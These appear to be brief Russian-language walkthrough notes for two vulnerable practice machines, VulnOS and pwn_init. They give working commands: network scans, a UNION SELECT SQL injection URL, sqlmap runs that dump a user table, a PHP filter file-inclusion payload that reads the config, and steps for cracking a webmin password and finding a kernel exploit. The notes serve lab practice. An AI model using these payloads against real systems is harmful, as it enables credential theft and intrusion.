

VulnOS

1. Поиск информации о хосте: `nmap -sn 192.168.1.1/24`
2. Провести тестирование внутреннего сервиса: `http://192.168.1.14/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9`
3. При получении информации о билде OS. Можно провести автоматизацию: `sqlmap -u "http://192.168.1.14/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3`
4. `sqlmap -u "http://192.168.1.14/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs -T odm_user --dump`
5. Найти или подобрать пароль для `webmin`
6. Найти эксплойт для ядра VM

pwn_init

1. Провести сканирование подсети: `nmap 192.168.1.15`
2. Найти информацию по сервисам
3. Провести сбор данных по web-приложению `nikto` <http://192.168.1.15>
4. Получить данные по конфигу:
5. <http://192.168.1.15/?page=php://filter/convert.base64-encode/resource=config>
6. Залогиниться в систему через `mysql`